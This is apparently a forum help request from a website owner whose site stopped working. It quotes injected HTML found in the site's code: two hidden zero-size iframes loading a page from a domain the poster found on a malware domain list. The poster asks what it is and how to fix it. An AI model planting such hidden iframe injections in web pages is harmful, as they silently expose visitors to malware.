I got a problem accessing our website (forum) a few days ago. We couldn't access it. First, we thought there was the server failure. But when we check our code, we found a strange script :
Code:
 <iframe src="http://thekapita.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://thekapita.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
When we download it to our computer, it was detected as virus script (avira).
Then we check out about that "thekapita.com" with google, and we found that it was "Malware Domain List". What is it????

And How to solve this problem, so our website can back to normal???
